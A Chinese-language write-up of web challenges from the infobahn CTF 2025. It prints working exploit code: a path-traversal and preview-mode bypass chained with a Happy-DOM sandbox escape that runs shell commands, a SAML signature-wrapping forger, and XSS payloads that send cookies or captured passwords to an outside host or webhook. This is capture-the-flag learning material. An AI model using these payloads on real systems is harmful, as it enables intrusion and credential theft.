Turker
Turker
Published on 2025-11-16 / 64 Visits
0

infobahn CTF 2025 Writeup

infobahn CTF 2025 Writeup

笔者的第一场 CTF 国际赛,我们 H^3 也是好起来了

web

PatchNotes CMS | 已解出 | 非预期

任意读没做好权限管理,可以直接读flag.txt

PatchNotes CMS - Revenge | 已解出 | 1st

hint:

  1. Look which files you can read,
  2. Middleware bypass?? It's a feature, not a bug (0day)
  1. /api/notes/read有任意读,可以路径穿越读任意的 json 和 txt 文件
  2. /api/notes/save有任意写,可以路径穿越写任意的 json 和 txt 文件
  3. 思路是利用 /admin/api/preview 路由预览写进去的 txt ,打Happy-DOM沙箱逃逸。但是有个 middleware 拦住了所有对 /admin 及其子路由的请求
  4. 根据提示 dump 了所有可以获取的 json,看看有什么可以利用的 token 之类的东西。最后发现了preview mode
  5. 读取 /api/notes/read?file=../../app/.next/prerender-manifest.json
  6. 可以搞到 previewModeId
  7. 然后就可以用 preview mode 愉快的绕过 middleware
  8. POST /admin/api/preview x-prerender-revalidate: <previewModeId>
  9. 接着打Happy-DOM CVE-2025-61927

Exp:

import requests

r = requests.get("https://localhost:8080/api/notes/read?file=../../app/.next/prerender-manifest.json")
preview_id = r.json()['json']['preview']['previewModeId']

payload = '''<script>
const proc = this.constructor.constructor('return process')();
const cp = proc.mainModule.require('child_process');
const flag = cp.execSync('/readflag').toString();
document.body.innerHTML = flag;
</script>'''

requests.post("https://localhost:8080/api/notes/save", 
              json={"file": "exploit.txt", "content": payload})

r = requests.post(
    "https://localhost:8080/admin/api/preview",
    headers={"x-prerender-revalidate": preview_id},
    json={"file": "exploit.txt"}
)

print(r.json()['rendered'])

SAML | 已解出

  1. xml-crypto 库在签名验证的时候检查的是 <SignedInfo> 内的 Reference 标签和摘要。flaggetter 又只检查 Signature 位于根元素下
  2. flaggetter 的实现问题在只会检查第一个如下的结构
<Attribute Name="http://schemas.goauthentik.io/2021/02/saml/username">
    <AttributeValue>Username</AttributeValue>
</Attribute>
  1. 也就是说,如果我们保留合法签名 <Signature>,同时在这个 Signature 内添加一个未被该签名覆盖的 ds:Object,其中嵌入上面的结构,那么解析不会有任何问题,匹配到的 Username 也会变成我们的恶意值。

Exp:

raw="YOUR_B64_DATA_HERE"

import base64, zlib, urllib.parse, pathlib
raw = urllib.parse.unquote_plus(raw)
raw += "=" * (-len(raw) % 4)
data = base64.b64decode(raw.replace("-", "+").replace("_", "/"))
xml = zlib.decompress(data, -15).decode()
evil = '<ds:Object xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><Attribute Name="http://schemas.goauthentik.io/2021/02/saml/username"><AttributeValue>akadmin</AttributeValue></Attribute></ds:Object>'
xml = xml.replace('</ds:Signature>', evil + '</ds:Signature>', 1)

compressed = zlib.compress(xml.encode(), 9)[2:-4]
b64 = base64.b64encode(compressed).decode()
payload = urllib.parse.quote_plus(b64)

1337 translator | 已复现

  1. 问题在
  let text = req.query.txt ?? 'Say something!';

  const window = new JSDOM('').window;
  const dp = DOMPurify(window);
  // Don't be naughty
  text = dp.sanitize(text);

  text = text.toUpperCase();
  text = text.replace( /\BA/g, '4' );
  text = text.replace( /\BB/g, 'I3' );
  text = text.replace( /\BE/g, '3' );
  text = text.replace( /\BH/g, '\\-\\' );
  text = text.replace( /\BL/g, '7' );
  text = text.replace( /\BO/g, '0' );
  text = text.replace( /\BS/g, '5' );
  text = text.replace( /\BU/g, 'v' );
  text = text.replace( /\BW/g, 'vv' );
  1. 非常经典的先净化再处理导致的问题,这里可以利用 Unicode 字符在 toUpperCase() 之后会被转为 ASCII 大写字母的特性
  2. 以下的代码高亮很好解释了处理前后 HTML 的解析差异
    Payload:
x<style><ß/p="</style><p name="><script src='http://IP:PORT'></script>">

X<STY73><S5/P="</STY73><P N4M3="><SCRIPT SRC='HTTP://IP:P0RT'></SCRIPT>"></P>

Sandbox Viewer | 已复现

  1. 题目有一个奇怪的 fallback 行为:
const s = document.createElement('script');
s.src = 'https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.4/purify.min.js';
s.referrerPolicy = 'no-referrer';
setTimeout(() => {
	s.onload = () => {
		if (window.DOMPurify) {
			const clean = window.DOMPurify.sanitize(key);
			appendUnsafe(clean);
		}
	};
	s.onerror = () => {
		appendUnsafe(key);
	};
	document.head.appendChild(s);
}, 1000);
  1. 我们需要思考如何让加载 DOMPurify 的过程出现错误以进入 onerror 分支
  2. 题目还提前加载一个沙箱 iframe,这给了我们浏览器缓存污染的可能
  3. 在 iframe 里虽然禁止了 js,但是允许加载图片
  4. 可以通过 referrerpolicy 属性控制发送的 Referer 内容,设置成 unsafe-url就会发送完整 URL(包括路径和查询参数),这会被 Cloudflare CDN 拦截
  5. 于是浏览器缓存到一个 403,我们的 payload 进入 fallback 分支
    Payload:
<img src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.4/purify.min.js" referrerpolicy="unsafe-url" onerror="location='http://YOUR_IP/'+document.cookie">

infopass | 已复现

  1. 这题的 bot 会先去自己的后端保存一个带 flag 的账号,凭证存在浏览器扩展的本地储存里,按照 origin 分类保存。之后再访问我们指定的 URL。
  2. 这题的利用点主要有两个,第一个是 python 后端直接拼接的 html
@app.route("/dashboard")
def dashboard():
    user = session.get("user")
    if not user:
        return redirect("/")
    return f"""
        <h2>Dashboard</h2>
        <p>Welcome, {user}!</p>
        <a href="/logout">Logout</a>
    """
  1. 第二个是 background.jsgetCredential()
async function getCredential(sender) {
  const url = new URL(sender.url);
  const path = url.origin + url.pathname;

  if (cache.has(path)) {
    return cache.get(path);
  }
  const key = await getKey();
  const passwords = await getPasswords();

  const item = passwords[sender.origin];
  if (!item) return null;

  const { iv, encrypted } = item;
  const ivBuffer = base64ToArrayBuffer(iv);
  const encryptedBuffer = base64ToArrayBuffer(encrypted);

  const decoder = new TextDecoder();
  const decrypted = await crypto.subtle.decrypt(
    { name: "AES-GCM", iv: new Uint8Array(ivBuffer) },
    key,
    encryptedBuffer
  );
  const data = JSON.parse(decoder.decode(decrypted));
  cache.set(path, data);
  return data;
}
  1. 这里有个很奇怪的点,凭据会保存在两个地方,一个是 cache,一个是本地储存,但是这二者的命中方式却不同。cache 命中使用 sender.url.orgin,而本地储存命中使用 sender.orgin,这给了我们缓存投毒的空间。
  2. 很显然,在 bot 的后端和我们的页面里 sender.orgin 是不一样的,但是这个 sender.url.orgin就有说法了。
  3. 对于srcdoc iframe,它会继承父页面的 origin,但是他的 URL 是固定的,是 about:srcdoc,其 sender.url.orginnull!也就是说不管在哪里访问,这个 cache 的 path 都是 nullsrcdoc
  4. 好,现在我们有一个思路了,bot 需要发送以下三个请求:
    • 第一次让 bot 进行默认行为注册账号,此时的扩展中:
      • cache 为空,getCredential()从未调用
      • 本地存储中存了 http://testapp:8080 的凭据
    • 第二次让 bot 访问 http://testapp:8080 上的 srcdoc iframe,其中包含凭据填充栏,此时
      • cache中存进了一个键名为 nullsrcdoc的凭据值
      • 本地储存不变
    • 第三次让 bot 访问我们控制的 URL 上的 srcdoc iframe,其中同样包含凭据填充栏,此时就可以命中 cache,返回我们想要的凭据
  5. 具体实现上,我们只需要在我们控制的 html 里执行一次注册,再跳转到下一个 html 让 bot 填充凭据就好了
    Payload:
<!-- X.html -->
<script>
const form = document.createElement('form');
form.method = 'POST';
form.action = 'http://testapp:8080/';
form.target = '_blank';

const usernameField = document.createElement('input');
usernameField.name = 'username';
usernameField.value = `<iframe srcdoc='<input name="username"><input type="password">'>`;

form.appendChild(usernameField);

const passwordField = document.createElement('input');
passwordField.name = 'password';
passwordField.value = 'abc'; 

form.appendChild(passwordField);
document.body.appendChild(form);

form.submit();

setTimeout(() => {
    window.open("Y.html")
}, 1000);
</script>
<!-- Y.html -->
<iframe srcdoc='
  <input name="username">
  <input id="x" type="password">
  <script>
    function t(){
      fetch("https://webhook.site/...?a=" + document.getElementById("x").value)
    }
    setTimeout(t, 3000)
  </script>
'>
</iframe>

Ref:

sender 是 Chrome 扩展 API chrome.runtime.onMessage 提供的一个对象,包含了发送消息的页面/扩展的信息:
sender.url - 发送消息的页面完整 URL
sender.origin - 发送消息的页面源(例如 https://example.com)
sender.tab - 如果是从标签页发送的,包含标签页信息
sender.id - 发送消息的扩展 ID

Padoru Pwn Parade | 已解出 | 非预期

phpggc Guzzle/FW1 任意写php

Padoru Pwn Parade-Revenge | 未解出

Drupal 11.3.0 RCE 0day